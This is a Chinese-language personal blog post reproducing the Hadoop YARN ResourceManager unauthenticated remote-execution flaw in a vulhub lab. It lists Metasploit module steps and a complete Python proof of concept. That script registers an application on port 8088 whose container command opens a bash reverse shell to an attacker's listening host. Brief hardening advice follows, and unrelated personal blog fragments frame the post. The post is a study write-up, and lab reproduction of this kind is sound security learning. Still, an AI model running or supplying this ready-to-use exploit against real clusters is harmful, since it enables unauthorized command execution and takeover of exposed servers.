学习记录

安全小技巧

新的一年快到了….

剪刀石头布,哈,我又赢了

2023

05-17

漏洞描述

由于服务器直接在开放了 Hadoop 机器 的多个 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。

ResourceManager 默认端口8088

环境搭建

使用 vulhub 搭建靶场环境

地址:https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

下载环境,进入漏洞环境目录执行:docker-compose up -d 启动安装启动环境

环境启动后,访问http://your-ip:8088即可看到Hadoop YARN ResourceManager WebUI页面。

漏洞原理

调用 New Application API 创建 Application 进行代码注入,反弹shell。

漏洞复现

  • 启动 msfconsole
  • search hadoop
  • use linux/http/hadoop_unauth_exec
  • 设置目标ip,本地监听ip
  • exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
py poc 代码
#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

漏洞加固

  • 关闭hadoop web 管理页面
  • 开启身份验证,防止未授权用户访问
  • 设置防火墙安全组策略,禁止端口公网访问,限制可信ip

参考地址

https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

https://paper.seebug.org/409/#0x08-hadoop

啊,再见了,再见了,哈

我们会再见的对么

再见你要幸福

燕子,燕子